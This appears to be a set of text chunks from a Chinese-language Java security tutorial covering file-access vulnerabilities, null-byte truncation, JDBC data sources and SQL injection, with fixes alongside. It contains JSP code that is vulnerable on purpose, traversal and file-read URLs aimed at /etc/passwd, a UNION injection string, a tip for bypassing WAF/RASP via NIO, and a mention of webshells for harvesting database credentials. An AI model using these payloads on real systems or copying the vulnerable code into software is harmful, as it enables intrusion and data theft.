文件系统 Java 7提出了一个基于NIO的文件系统，这个NIO文件系统和阻塞IO文件系统两者是完全独立的。 java.nio.file.spi.FileSystemProvider 对文件的封装和 java.io.FileSystem 同理。 NIO的文件操作在不同的系统的最终实现类也是不一样的，比如Mac的实现类是: sun.nio.fs.UnixNativeDispatcher ,而Windows的实现类是 sun.nio.fs.WindowsNativeDispatcher 。 合理的利用NIO文件系统这一特性我们可以绕过某些只是防御了 java.io.FileSystem 的 WAF / RASP 。 本文章首发在 网安wangan.com 网站上。"},
    {"text": "Java 文件或目录恶意访问漏洞 Java 文件或目录恶意访问漏洞 原文： https://www.wangan.com/docs/88 本章节将讲解与Java文件或目录访问安全性问题。 常见的Java文件操作相关的漏洞大致有如下类型： 任意目录遍历 任意文件、目录复制 任意文件读取/下载 任意文件、目录修改/重命名 任意文件、目录删除 …… 我们通常把这类漏洞归为一个类型，因为产生漏洞的原因都是因为程序对文件或目录访问控制不严、程序内部逻辑错误导致的任意文件或目录恶意访问漏洞。 Java 任意目录遍历漏洞 任意目录遍历漏洞顾名思义攻击者可以通过漏洞遍历出服务器操作系统中的任意目录文件名，从而导致服务器敏感信息泄漏，某些场景下(如遍历出网站日志、备份文件、管理后台等)甚至可能会导致服务器被非法入侵。 Java 任意目录遍历漏洞示例代码: < % @ page import = \"java.io.File\" % > < % -- Created by IntelliJ IDEA . User : yz Date : 2019 / 12 / 4 Time : 6 : 08 下午 To change this template use File | Settings | File Templates . -- % > < % @ page contentType = \"text/html;charset=UTF-8\" language = \"java\" % > < % // 定义需要遍历的目录 String dirStr = request . getParameter ( \"dir\" ) ; out . println ( \"<h3>\" + dirStr + \"</h3>\" ) ; if ( dirStr != null ) { File dir = new File ( dirStr ) ; File [ ] dirs = dir . listFiles ( ) ; out . println ( \"<pre>\" ) ; for ( File file : dirs ) { out . println ( file . getName ( ) ) ; } out . println ( \"</pre>\" ) ; } % > 当我们通过不断修改URL中的dir参数即可遍历出制定目录的任意文件，漏洞演示URL: http://localhost:8080/file-list.jsp?dir=/Users 这个漏洞可能由Web应用本身的开发不规范导致，也有可能是因为 MVC框架 、 项目依赖的第三方库 、 Web服务器自身 导致的。"},
    {"text": "如果是由于自身开发不规范导致的那么需要程序严格控制用户传入目录参数是否合法！ 检测用户参数合法性代码示例(请根据具体业务需求调整判定逻辑): < % @ page import = \"java.io.File\" % > < % -- Created by IntelliJ IDEA . User : yz Date : 2019 / 12 / 4 Time : 6 : 08 下午 To change this template use File | Settings | File Templates . -- % > < % @ page contentType = \"text/html;charset=UTF-8\" language = \"java\" % > < % ! // 定义限制用户遍历的文件目录常量 private static final String IMAGE_DIR = \"/data/images/\" ; % > < % // 定义需要遍历的目录 String dirStr = request . getParameter ( \"dir\" ) ; if ( dirStr != null ) { File dir = new File ( dirStr ) ; // 获取文件绝对路径，转换成标准的文件路径 String fileDir = ( dir . getAbsoluteFile ( ) . getCanonicalFile ( ) + \"/\" ) . replace ( \"\\\\\\\\\" , \"\" ) . replaceAll ( \"/+\" , \"/\" ) ; out . println ( \"<h3>\" + fileDir + \"</h3>\" ) ; // 检查当前用户传入的目录是否包含在系统限定的目录下 if ( fileDir . startsWith ( IMAGE_DIR ) ) { File [ ] dirs = dir . listFiles ( ) ; out . println ( \"<pre>\" ) ; for ( File file : dirs ) { out . println ( file . getName ( ) ) ; } out . println ( \"</pre>\" ) ; } else { out . println ( \"目录不合法!\" ) ; } } % > 请求遍历非系统限制的目录示例： 任意文件读取/编辑/删除漏洞 任意文件读写漏洞即因为没有验证请求的资源文件是否合法导致的，此类漏洞在Java中有着较高的几率出现，任意文件读取漏洞原理很简单，但是在这个问题上翻车的有不乏一些知名的中间件: Weblogic 、 Tomcat 、 Resin 又或者是主流MVC框架: Spring MVC 、 Struts2 。"},
    {"text": "任意文件读取示例代码file-read.jsp: < % @ page contentType = \"text/html;charset=UTF-8\" language = \"java\" % > < % @ page import = \"java.io.ByteArrayOutputStream\" % > < % @ page import = \"java.io.File\" % > < % @ page import = \"java.io.FileInputStream\" % > < % File file = new File ( request . getParameter ( \"path\" ) ) ; FileInputStream fis = new FileInputStream ( file ) ; ByteArrayOutputStream baos = new ByteArrayOutputStream ( ) ; byte [ ] b = new byte [ 1024 ] ; int a = - 1 ; while ( ( a = fis . read ( b ) ) != - 1 ) { baos . write ( b , 0 , a ) ; } out . write ( \"<pre>\" + new String ( baos . toByteArray ( ) ) + \"</pre>\" ) ; fis . close ( ) ; % > 任意文件读取测试: http://localhost:8080/file-read.jsp?path=/etc/passwd 任意文件删除示例代码file-delete.jsp: < % @ page contentType = \"text/html;charset=UTF-8\" language = \"java\" % > < % @ page import = \"java.io.File\" % > < % String fileName = request . getParameter ( \"file\" ) ; if ( fileName != null ) { // 创建文件对象 File file = new File ( fileName ) ; if ( file . exists ( ) ) { file . delete ( ) ; // 删除文件 out . println ( fileName + \"删除成功!\" ) ; } else { out . println ( \"文件不存在!\" ) ; } } % > 任意文件删除测试： http://localhost:8080/file-delete.jsp?file=/tmp/test.txt 任意文件读/写/删除漏洞修复 修改方案主要是严格校验用户输入的文件名和目录是否合法，可参考本节的任意目录遍历漏洞修复方式。"},
    {"text": "JDK原始的 java.io.FileInputStream 、 java.io.FileOutputStream 类 JDK原始的 java.io.RandomAccessFile 类 Apache Commons IO提供的 org.apache.commons.io.FileUtils 类 JDK1.7新增的基于NIO非阻塞异步读取文件的 java.nio.channels.AsynchronousFileChannel 类。 JDK1.7新增的基于NIO读取文件的 java.nio.file.Files 类。 常用方法如: Files.readAllBytes 、 Files.readAllLines java.io.File 类的 list 、 listFiles 、 listRoots 、 delete 方法。 如果仍没有什么发现可以搜索一下 FileUtil 很有可能用户会封装文件操作的工具类。"},
    {"text": "其次此类漏洞原理简单在渗透测试或代码审计时非常容易发现且漏洞影响重大，因为攻击者可以直接操纵服务器中的文件或目录，所以在程序开发过程中我们应该高度重视编码规范、程序逻辑严谨性防止该漏洞发生。"},
    {"text": "Java IO/NIO多种读写文件方式 Java IO/NIO多种读写文件方式 原文： https://www.wangan.com/docs/87 上一章节我们提到了Java 对文件的读写分为了基于阻塞模式的IO和非阻塞模式的NIO，本章节我将列举一些我们常用于读写文件的方式。 我们通常读写文件都是使用的阻塞模式，与之对应的也就是 java.io.FileSystem 。 java.io.FileInputStream 类提供了对文件的读取功能，Java的其他读取文件的方法基本上都是封装了 java.io.FileInputStream 类，比如： java.io.FileReader 。 FileInputStream 使用FileInputStream实现文件读取Demo: package com . anbai . sec . filesystem ; import java . io . * ; /** * Creator: yz * Date: 2019/12/4 */ public class FileInputStreamDemo { public static void main ( String [ ] args ) throws IOException { File file = new File ( \"/etc/passwd\" ) ; // 打开文件对象并创建文件输入流 FileInputStream fis = new FileInputStream ( file ) ; // 定义每次输入流读取到的字节数对象 int a = 0 ; // 定义缓冲区大小 byte [ ] bytes = new byte [ 1024 ] ; // 创建二进制输出流对象 ByteArrayOutputStream out = new ByteArrayOutputStream ( ) ; // 循环读取文件内容 while ( ( a = fis . read ( bytes ) ) != - 1 ) { // 截取缓冲区数组中的内容，(bytes, 0, a)其中的0表示从bytes数组的 // 下标0开始截取，a表示输入流read到的字节数。 out . write ( bytes , 0 , a ) ; } System . out . println ( out . toString ( ) ) ; } } 输出结果如下: ## # User Database # # Note that this file is consulted directly only when the system is running # in single - user mode . At other times this information is provided by # Open Directory . # # See the opendirectoryd ( 8 ) man page for additional information about # Open Directory . ## nobody : * : - 2 : - 2 : Unprivileged User : / var / empty : / usr / bin / false root : * : 0 : 0 : System Administrator : / var / root : / bin / sh daemon : * : 1 : 1 : System Services : / var / root : / usr / bin / false ... . . 内容过长省去多余内容 调用链如下： java . io . FileInputStream . readBytes ( FileInputStream . java : 219 ) java . io . FileInputStream . read ( FileInputStream . java : 233 ) com . anbai . sec . filesystem . FileInputStreamDemo . main ( FileInputStreamDemo . java : 27 ) 其中的readBytes是native方法，文件的打开、关闭等方法也都是native方法： private native int readBytes ( byte b [ ] , int off , int len ) throws IOException ; private native void open0 ( String name ) throws FileNotFoundException ; private native int read0 ( ) throws IOException ; private native long skip0 ( long n ) throws IOException ; private native int available0 ( ) throws IOException ; private native void close0 ( ) throws IOException ; java.io.FileInputStream 类对应的native实现如下： JNIEXPORT void JNICALL Java_java_io_FileInputStream_open0 ( JNIEnv * env , jobject this , jstring path ) { fileOpen ( env , this , path , fis_fd , O_RDONLY ) ; } JNIEXPORT jint JNICALL Java_java_io_FileInputStream_read0 ( JNIEnv * env , jobject this ) { return readSingle ( env , this , fis_fd ) ; } JNIEXPORT jint JNICALL Java_java_io_FileInputStream_readBytes ( JNIEnv * env , jobject this , jbyteArray bytes , jint off , jint len ) { return readBytes ( env , this , bytes , off , len , fis_fd ) ; } JNIEXPORT jlong JNICALL Java_java_io_FileInputStream_skip0 ( JNIEnv * env , jobject this , jlong toSkip ) { jlong cur = jlong_zero ; jlong end = jlong_zero ; FD fd = GET_FD ( this , fis_fd ) ; if ( fd == - 1 ) { JNU_ThrowIOException ( env , \"Stream Closed\" ) ; return 0 ; } if ( ( cur = IO_Lseek ( fd , ( jlong ) 0 , ( jint ) SEEK_CUR ) ) == - 1 ) { JNU_ThrowIOExceptionWithLastError ( env , \"Seek error\" ) ; } else if ( ( end = IO_Lseek ( fd , toSkip , ( jint ) SEEK_CUR ) ) == - 1 ) { JNU_ThrowIOExceptionWithLastError ( env , \"Seek error\" ) ; } return ( end - cur ) ; } JNIEXPORT jint JNICALL Java_java_io_FileInputStream_available0 ( JNIEnv * env , jobject this ) { jlong ret ; FD fd = GET_FD ( this , fis_fd ) ; if ( fd == - 1 ) { JNU_ThrowIOException ( env , \"Stream Closed\" ) ; return 0 ; } if ( IO_Available ( fd , & ret ) ) { if ( ret > INT_MAX ) { ret = ( jlong ) INT_MAX ; } else if ( ret < 0 ) { ret = 0 ; } return jlong_to_jint ( ret ) ; } JNU_ThrowIOExceptionWithLastError ( env , NULL ) ; return 0 ; } 完整代码参考OpenJDK: openjdk/src/java.base/share/native/libjava/FileInputStream.c FileOutputStream 使用FileOutputStream实现写文件Demo: package com . anbai . sec . filesystem ; import java . io . File ; import java . io . FileOutputStream ; import java . io . IOException ; /** * Creator: yz * Date: 2019/12/4 */ public class FileOutputStreamDemo { public static void main ( String [ ] args ) throws IOException { // 定义写入文件路径 File file = new File ( \"/tmp/1.txt\" ) ; // 定义待写入文件内容 String content = \"Hello World.\" ; // 创建FileOutputStream对象 FileOutputStream fos = new FileOutputStream ( file ) ; // 写入内容二进制到文件 fos . write ( content . getBytes ( ) ) ; fos . flush ( ) ; fos . close ( ) ; } } 代码逻辑比较简单: 打开文件->写内容->关闭文件，调用链和底层实现分析请参考 FileInputStream 。"},
    {"text": "RandomAccessFile Java提供了一个非常有趣的读取文件内容的类: java.io.RandomAccessFile ,这个类名字面意思是任意文件内容访问，特别之处是这个类不仅可以像 java.io.FileInputStream 一样读取文件，而且还可以写文件。 RandomAccessFile读取文件测试代码: package com . anbai . sec . filesystem ; import java . io . * ; /** * Creator: yz * Date: 2019/12/4 */ public class RandomAccessFileDemo { public static void main ( String [ ] args ) { File file = new File ( \"/etc/passwd\" ) ; try { // 创建RandomAccessFile对象,r表示以只读模式打开文件，一共有:r(只读)、rw(读写)、 // rws(读写内容同步)、rwd(读写内容或元数据同步)四种模式。 RandomAccessFile raf = new RandomAccessFile ( file , \"r\" ) ; // 定义每次输入流读取到的字节数对象 int a = 0 ; // 定义缓冲区大小 byte [ ] bytes = new byte [ 1024 ] ; // 创建二进制输出流对象 ByteArrayOutputStream out = new ByteArrayOutputStream ( ) ; // 循环读取文件内容 while ( ( a = raf . read ( bytes ) ) != - 1 ) { // 截取缓冲区数组中的内容，(bytes, 0, a)其中的0表示从bytes数组的 // 下标0开始截取，a表示输入流read到的字节数。 out . write ( bytes , 0 , a ) ; } System . out . println ( out . toString ( ) ) ; } catch ( IOException e ) { e . printStackTrace ( ) ; } } } 任意文件读取特性体现在如下方法： // 获取文件描述符 public final FileDescriptor getFD ( ) throws IOException // 获取文件指针 public native long getFilePointer ( ) throws IOException ; // 设置文件偏移量 private native void seek0 ( long pos ) throws IOException ; java.io.RandomAccessFile 类中提供了几十个 readXXX 方法用以读取文件系统，最终都会调用到 read0 或者 readBytes 方法，我们只需要掌握如何利用 RandomAccessFile 读/写文件就行了。 RandomAccessFile写文件测试代码: package com . anbai . sec . filesystem ; import java . io . File ; import java . io . IOException ; import java . io . RandomAccessFile ; /** * Creator: yz * Date: 2019/12/4 */ public class RandomAccessWriteFileDemo { public static void main ( String [ ] args ) { File file = new File ( \"/tmp/test.txt\" ) ; // 定义待写入文件内容 String content = \"Hello World.\" ; try { // 创建RandomAccessFile对象,rw表示以读写模式打开文件，一共有:r(只读)、rw(读写)、 // rws(读写内容同步)、rwd(读写内容或元数据同步)四种模式。 RandomAccessFile raf = new RandomAccessFile ( file , \"rw\" ) ; // 写入内容二进制到文件 raf . write ( content . getBytes ( ) ) ; raf . close ( ) ; } catch ( IOException e ) { e . printStackTrace ( ) ; } } } FileSystemProvider 前面章节提到了JDK7新增的NIO.2的 java.nio.file.spi.FileSystemProvider ,利用 FileSystemProvider 我们可以利用支持异步的通道( Channel )模式读取文件内容。 FileSystemProvider读取文件内容示例: package com . anbai . sec . filesystem ; import java . io . IOException ; import java . nio . file . Files ; import java . nio . file . Path ; import java . nio . file . Paths ; /** * Creator: yz * Date: 2019/12/4 */ public class FilesDemo { public static void main ( String [ ] args ) { // 通过File对象定义读取的文件路径 // File file = new File(\"/etc/passwd\"); // Path path1 = file.toPath(); // 定义读取的文件路径 Path path = Paths . get ( \"/etc/passwd\" ) ; try { byte [ ] bytes = Files . readAllBytes ( path ) ; System . out . println ( new String ( bytes ) ) ; } catch ( IOException e ) { e . printStackTrace ( ) ; } } } java.nio.file.Files 是JDK7开始提供的一个对文件读写取非常便捷的API，其底层实在是调用了 java.nio.file.spi.FileSystemProvider 来实现对文件的读写的。 最为底层的实现类是 sun.nio.ch.FileDispatcherImpl#read0 。 基于NIO的文件读取逻辑是：打开FileChannel->读取Channel内容。"},
    {"text": "打开FileChannel的调用链为： sun . nio . ch . FileChannelImpl . < init > ( FileChannelImpl . java : 89 ) sun . nio . ch . FileChannelImpl . open ( FileChannelImpl . java : 105 ) sun . nio . fs . UnixChannelFactory . newFileChannel ( UnixChannelFactory . java : 137 ) sun . nio . fs . UnixChannelFactory . newFileChannel ( UnixChannelFactory . java : 148 ) sun . nio . fs . UnixFileSystemProvider . newByteChannel ( UnixFileSystemProvider . java : 212 ) java . nio . file . Files . newByteChannel ( Files . java : 361 ) java . nio . file . Files . newByteChannel ( Files . java : 407 ) java . nio . file . Files . readAllBytes ( Files . java : 3152 ) com . anbai . sec . filesystem . FilesDemo . main ( FilesDemo . java : 23 ) 文件读取的调用链为： sun . nio . ch . FileChannelImpl . read ( FileChannelImpl . java : 147 ) sun . nio . ch . ChannelInputStream . read ( ChannelInputStream . java : 65 ) sun . nio . ch . ChannelInputStream . read ( ChannelInputStream . java : 109 ) sun . nio . ch . ChannelInputStream . read ( ChannelInputStream . java : 103 ) java . nio . file . Files . read ( Files . java : 3105 ) java . nio . file . Files . readAllBytes ( Files . java : 3158 ) com . anbai . sec . filesystem . FilesDemo . main ( FilesDemo . java : 23 ) FileSystemProvider写文件示例: package com . anbai . sec . filesystem ; import java . io . IOException ; import java . nio . file . Files ; import java . nio . file . Path ; import java . nio . file . Paths ; /** * Creator: yz * Date: 2019/12/4 */ public class FilesWriteDemo { public static void main ( String [ ] args ) { // 通过File对象定义读取的文件路径 // File file = new File(\"/etc/passwd\"); // Path path1 = file.toPath(); // 定义读取的文件路径 Path path = Paths . get ( \"/tmp/test.txt\" ) ; // 定义待写入文件内容 String content = \"Hello World.\" ; try { // 写入内容二进制到文件 Files . write ( path , content . getBytes ( ) ) ; } catch ( IOException e ) { e . printStackTrace ( ) ; } } } 文件读写总结 Java内置的文件读取方式大概就是这三种方式，其他的文件读取API可以说都是对这几种方式的封装而已(依赖数据库、命令执行、自写JNI接口不算，本人个人理解,如有其他途径还请告知)。"},
    {"text": "Java 文件名空字节截断漏洞 Java 文件名空字节截断漏洞 原文： https://www.wangan.com/docs/89 空字节截断漏洞漏洞在诸多编程语言中都存在，究其根本是Java在调用文件系统(C实现)读写文件时导致的漏洞，并不是Java本身的安全问题。不过好在高版本的JDK在处理文件时已经把空字节文件名进行了安全检测处理。 文件名空字节漏洞历史 2013年9月10日发布的 Java SE 7 Update 40 修复了空字节截断这个历史遗留问题。此次更新在 java.io.File 类中添加了一个 isInvalid 方法，专门检测文件名中是否包含了空字节。 /** * Check if the file has an invalid path. Currently, the inspection of * a file path is very limited, and it only covers Nul character check. * Returning true means the path is definitely invalid/garbage. But * returning false does not guarantee that the path is valid. * * @return true if the file path is invalid. */ final boolean isInvalid ( ) { if ( status == null ) { status = ( this . path . indexOf ( '\\u0000' ) < 0 ) ? PathStatus . CHECKED : PathStatus . INVALID ; } return status == PathStatus . INVALID ; } 修复的JDK版本所有跟文件名相关的操作都调用了 isInvalid 方法检测，防止文件名空字节截断。 修复前( Java SE 7 Update 25 )和修复后( Java SE 7 Update 40 )的对比会发现 Java SE 7 Update 25 中的 java.io.File 类中并未添加 \\u0000 的检测。 受空字节截断影响的JDK版本范围: JDK<1.7.40 ,单是JDK7于2011年07月28日发布至2013年09月10日发表 Java SE 7 Update 40 这两年多期间受影响的就有16个版本，值得注意的是JDK1.6虽然JDK7修复之后发布了数十个版本，但是并没有任何一个版本修复过这个问题，而JDK8发布时间在JDK7修复以后所以并不受此漏洞影响。 参考: JDK-8014846 : File and other classes in java.io do not handle embedded nulls properly 。 维基百科-Java版本歷史 Oracle Java 历史版本下载 Java文件名空截断测试 测试类 FileNullBytes.java : package com . anbai . sec . filesystem ; import java . io . File ; import java . io . FileOutputStream ; import java . io . IOException ; /** * @author yz */ public class FileNullBytes { public static void main ( String [ ] args ) { try { String fileName = \"/tmp/null-bytes.txt\\u0000.jpg\" ; FileOutputStream fos = new FileOutputStream ( new File ( fileName ) ) ; fos . write ( \"Test\" . getBytes ( ) ) ; fos . flush ( ) ; fos . close ( ) ; } catch ( IOException e ) { e . printStackTrace ( ) ; } } } 使用 JDK1.7.0.25 测试成功截断文件名： 使用 JDK1.7.0.80 测试写文件截断时抛出 java.io.FileNotFoundException: Invalid file path 异常: 空字节截断利用场景 Java空字节截断利用场景最常见的利用场景就是 文件上传 时后端获取文件名后使用了 endWith 、正则使用如: .(jpg|png|gif)$ 验证文件名后缀合法性且文件名最终原样保存,同理文件删除( delete )、获取文件路径( getCanonicalPath )、创建文件( createNewFile )、文件重命名( renameTo )等方法也可适用。 空字节截断修复方案 最简单直接的方式就是升级JDK，如果担心升级JDK出现兼容性问题可在文件操作时检测下文件名中是否包含空字节，如JDK的修复方式: fileName.indexOf('\\u0000') 即可。 本文章首发在 网安wangan.com 网站上。 JDBC JDBC JDBC 基础 JDBC 基础 原文： https://www.wangan.com/docs/91 JDBC(Java Database Connectivity) 是Java提供对数据库进行连接、操作的标准API。Java自身并不会去实现对数据库的连接、查询、更新等操作而是通过抽象出数据库操作的API接口( JDBC )，不同的数据库提供商必须实现JDBC定义的接口从而也就实现了对数据库的一系列操作。 本文章首发在 网安wangan.com 网站上。"},
    {"text": "JDBC Connection JDBC Connection 原文： https://www.wangan.com/docs/92 Java通过 java.sql.DriverManager 来管理所有数据库的驱动注册，所以如果想要建立数据库连接需要先在 java.sql.DriverManager 中注册对应的驱动类，然后调用 getConnection 方法才能连接上数据库。 JDBC定义了一个叫 java.sql.Driver 的接口类负责实现对数据库的连接，所有的数据库驱动包都必须实现这个接口才能够完成数据库的连接操作。 java.sql.DriverManager.getConnection(xx) 其实就是间接的调用了 java.sql.Driver 类的 connect 方法实现数据库连接的。数据库连接成功后会返回一个叫做 java.sql.Connection 的数据库连接对象，一切对数据库的查询操作都将依赖于这个 Connection 对象。 JDBC连接数据库的一般步骤: 注册驱动， Class.forName(\"数据库驱动的类名\") 。 获取连接， DriverManager.getConnection(xxx) 。 JDBC连接数据库示例代码如下: String CLASS_NAME = \"com.mysql.jdbc.Driver\" ; String URL = \"jdbc:mysql://localhost:3306/mysql\" String USERNAME = \"root\" ; String PASSWORD = \"root\" ; Class . forName ( CLASS_NAME ) ; // 注册JDBC驱动类 Connection connection = DriverManager . getConnection ( URL , USERNAME , PASSWORD ) ; 数据库配置信息 传统的Web应用的数据库配置信息一般都是存放在 WEB-INF 目录下的 *.properties 、 *.yml 、 *.xml 中的,如果是 Spring Boot 项目的话一般都会存储在jar包中的 src/main/resources/ 目录下。常见的存储数据库配置信息的文件路径如： WEB-INF/applicationContext.xml 、 WEB-INF/hibernate.cfg.xml 、 WEB-INF/jdbc/jdbc.properties ，一般情况下使用find命令加关键字可以轻松的找出来，如查找Mysql配置信息: find 路径 -type f |xargs grep \"com.mysql.jdbc.Driver\" 。 为什么需要Class.forName? 很多人不理解为什么第一步必须是 Class.forName(CLASS_NAME);// 注册JDBC驱动类 ，因为他们永远不会跟进驱动包去一探究竟。 实际上这一步是利用了Java反射+类加载机制往 DriverManager 中注册了驱动包！ Class.forName(\"com.mysql.jdbc.Driver\") 实际上会触发类加载， com.mysql.jdbc.Driver 类将会被初始化，所以 static静态语句块 中的代码也将会被执行，所以看似毫无必要的 Class.forName 其实也是暗藏玄机的。如果反射某个类又不想初始化类方法有两种途径： 使用 Class.forName(\"xxxx\", false, loader) 方法，将第二个参数传入false。 ClassLoader.load(“xxxx”); Class.forName可以省去吗？ 连接数据库就必须 Class.forName(xxx) 几乎已经成为了绝大部分人认为的既定事实而不可改变，但是某些人会发现删除 Class.forName 一样可以连接数据库这又作何解释？ 实际上这里又利用了Java的一大特性: Java SPI(Service Provider Interface) ，因为 DriverManager 在初始化的时候会调用 java.util.ServiceLoader 类提供的SPI机制，Java会自动扫描jar包中的 META-INF/services 目录下的文件，并且还会自动的 Class.forName(文件中定义的类) ，这也就解释了为什么不需要 Class.forName 也能够成功连接数据库的原因了。 Mysql驱动包示例: JDBC数据库连接总结 使用JDBC连接数据相对于PHP直接使用 mysql_connect/mysqli_connect 函数就可以完成数据库连接来说的确难了很多，但是其中也暗藏了很多Java的特性需要我们去深入理解。 或许您会有所疑问我们为什么非要搞明白 Class.forName 这个问题？这个问题和Java安全有必然的联系吗？其实这里只是想让大家明白 Java反射 、 类加载机制 、和 SPI机制 以及养成阅读JDK或者第三方库代码的习惯，也希望不明白上述机制的朋友深入去理解思考下。 学习完本节后希望您能去思考如下问题： SPI机制 是否有安全性问题？ Java反射 有那些安全问题？ Java类加载机制 是什么？ 数据库连接时密码安全问题？ 使用JDBC如何写一个通用的 数据库密码爆破 模块？ 本文章首发在 网安wangan.com 网站上。"},
    {"text": "DataSource DataSource 原文： https://www.wangan.com/docs/93 在真实的Java项目中通常不会使用原生的 JDBC 的 DriverManager 去连接数据库，而是使用数据源( javax.sql.DataSource )来代替 DriverManager 管理数据库的连接。 一般情况下在Web服务启动时候会预先定义好数据源，有了数据源程序就不再需要编写任何数据库连接相关的代码了，直接引用 DataSource 对象即可获取数据库连接了。 常见的数据源有： DBCP 、 C3P0 、 Druid 、 Mybatis DataSource ，他们都实现于 javax.sql.DataSource 接口。 Spring MVC 数据源 在Spring MVC中我们可以自由的选择第三方数据源，通常我们会定义一个 DataSource Bean 用于配置和初始化数据源对象，然后在Spring中就可以通过Bean注入的方式获取数据源对象了。 在基于XML配置的SpringMVC中配置数据源: < bean id = \"dataSource\" class = \"com.alibaba.druid.pool.DruidDataSource\" init - method = \"init\" destroy - method = \"close\" > < property name = \"url\" value = \"${jdbc.url}\" / > < property name = \"username\" value = \"${jdbc.username}\" / > < property name = \"password\" value = \"${jdbc.password}\" / > ... . / > 如上，我们定义了一个id为 dataSource 的Spring Bean对象， username 和 password 都使用了 ${jdbc.XXX} 表示，很明显 ${jdbc.username} 并不是数据库的用户名，这其实是采用了Spring的 property-placeholder 制定了一个 properties 文件，使用 ${jdbc.username} 其实会自动自定义的properties配置文件中的配置信息。 < context : property - placeholder location = \"classpath:/config/jdbc.properties\" / > jdbc.properties 内容： jdbc . driver = com . mysql . jdbc . Driver jdbc . url = jdbc : mysql : / / localhost : 3306 / mysql ? autoReconnect = true & zeroDateTimeBehavior = round & useUnicode = true & characterEncoding = UTF - 8 & useOldAliasMetadataBehavior = true & useOldAliasMetadataBehavior = true & useSSL = false jdbc . username = root jdbc . password = root 在Spring中我们只需要通过引用这个Bean就可以获取到数据源了，比如在Spring JDBC中通过注入数据源( ref=\"dataSource\" )就可以获取到上面定义的 dataSource 。 < ! -- jdbcTemplate Spring JDBC 模版 -- > < bean id = \"jdbcTemplate\" class = \"org.springframework.jdbc.core.JdbcTemplate\" abstract = \"false\" lazy - init = \"false\" > < property name = \"dataSource\" ref = \"dataSource\" / > < / bean > SpringBoot配置数据源： 在SpringBoot中只需要在 application.properties 或 application.yml 中定义 spring.datasource.xxx 即可完成DataSource配置。 spring . datasource . url = jdbc : mysql : / / localhost : 3306 / mysql ? autoReconnect = true & zeroDateTimeBehavior = round & useUnicode = true & characterEncoding = UTF - 8 & useOldAliasMetadataBehavior = true & useOldAliasMetadataBehavior = true & useSSL = false spring . datasource . username = root spring . datasource . password = root spring . datasource . type = com . alibaba . druid . pool . DruidDataSource spring . datasource . driver - class - name = com . mysql . jdbc . Driver Spring 数据源Hack 我们通常可以通过查找Spring数据库配置信息找到数据库账号密码，但是很多时候我们可能会找到非常多的配置项甚至是加密的配置信息，这将会让我们非常的难以确定真实的数据库配置信息。"},
    {"text": "某些时候在授权渗透测试的情况下我们可能会需要传个shell尝试性的连接下数据库( 高危操作，请勿违法! )证明下危害，那么您可以在 webshell 中使用注入数据源的方式来获取数据库连接对象，甚至是读取数据库密码( 切记不要未经用户授权违规操作！"},
    {"text": "Java Web Server 数据源 除了第三方数据源库实现，标准的Web容器自身也提供了数据源服务，通常会在容器中配置 DataSource 信息并注册到 JNDI(Java Naming and Directory Interface) 中，在Web应用中我们可以通过 JNDI 的接口 lookup(定义的JNDI路径) 来获取到 DataSource 对象。"},
    {"text": "Tomcat JNDI DataSource Tomcat配置JNDI数据源需要手动修改 Tomcat目录/conf/context.xml 文件，参考： Tomcat JNDI Datasource < Context > < Resource name = \"jdbc/test\" auth = \"Container\" type = \"javax.sql.DataSource\" maxTotal = \"100\" maxIdle = \"30\" maxWaitMillis = \"10000\" username = \"root\" password = \"root\" driverClassName = \"com.mysql.jdbc.Driver\" url = \"jdbc:mysql://localhost:3306/mysql\" / > < / Context > Resin JNDI DataSource Resin需要修改 resin.xml ,添加 database 配置,参考： Resin Database configuration < database jndi - name = 'jdbc/test' > < driver type = \"com.mysql.jdbc.Driver\" > < url > jdbc : mysql : / / localhost : 3306 / mysql < / url > < user > root < / user > < password > root < / password > < / driver > < / database > 本文章首发在 网安wangan.com 网站上。"},
    {"text": "JDBC SQL注入 JDBC SQL注入 原文： https://www.wangan.com/docs/94 SQL注入( SQL injection )是因为 应用程序 在执行SQL语句的时候没有正确的处理用户输入字符串，将用户输入的恶意字符串拼接到了SQL语句中执行，从而导致了SQL注入。 SQL注入是一种原理非常简单且危害程度极高的恶意攻击，我们可以理解为不同程序语言的注入方式是一样的。 本章节只讨论基于 JDBC 查询的SQL注入，暂不讨论基于 ORM 实现的框架注入，也不会过多的讨论注入的深入用法、函数等。 SQL注入示例 在SQL注入中如果需要我们手动闭合SQL语句的 ' 的注入类型称为 字符型注入 、反之成为 整型注入 。 字符型注入 假设程序想通过用户名查询用户个人信息，那么它最终执行的SQL语句可能是这样: select host , user from mysql . user where user = '用户输入的用户名' 正常情况下用户只需传入自己的用户名，如： root ，程序会自动拼成一条完整的SQL语句： select host , user from mysql . user where user = 'root' 查询结果如下: mysql > select host , user from mysql . user where user = 'root' ; + -- -- -- -- -- - + -- -- -- + | host | user | + -- -- -- -- -- - + -- -- -- + | localhost | root | + -- -- -- -- -- - + -- -- -- + 1 row in set ( 0.00 sec ) 但假设黑客传入了恶意的字符串: root' and 1=2 union select 1,'2 去闭合SQL语句，那么SQL语句的含义将会被改变： select host , user from mysql . user where user = 'root' and 1 = 2 union select 1 , '2' 查询结果如下: mysql > select host , user from mysql . user where user = 'root' and 1 = 2 union select 1 , '2' ; + -- -- -- + -- -- -- + | host | user | + -- -- -- + -- -- -- + | 1 | 2 | + -- -- -- + -- -- -- + 1 row in set ( 0.00 sec ) Java代码片段如下: // 获取用户传入的用户名 String user = request . getParameter ( \"user\" ) ; // 定义最终执行的SQL语句，这里会将用户从请求中传入的host字符串拼接到最终的SQL // 语句当中，从而导致了SQL注入漏洞。 String sql = \"select host,user from mysql.user where user = '\" + user + \"'\" ; // 创建预编译对象 PreparedStatement pstt = connection . prepareStatement ( sql ) ; // 执行SQL语句并获取返回结果对象 ResultSet rs = pstt . executeQuery ( ) ; 如上示例程序，sql变量拼接了我们传入的用户名字符串并调用 executeQuery 方法执行了含有恶意攻击的SQL语句。 我们只需要在用户传入的 user 参数中拼凑一个能够闭合SQL语句又不影响SQL语法的恶意字符串即可实现SQL注入攻击！"},
    {"text": "快速检测字符串类型注入方式 在渗透测试中我们判断字符型注入点最快速的方式就是在参数值中加 '(单引号) ,如: http://localhost/1.jsp?id=1' ，如果页面返回500错误或者出现异常的情况下我们通常可以初步判定该参数可能存在注入。"},
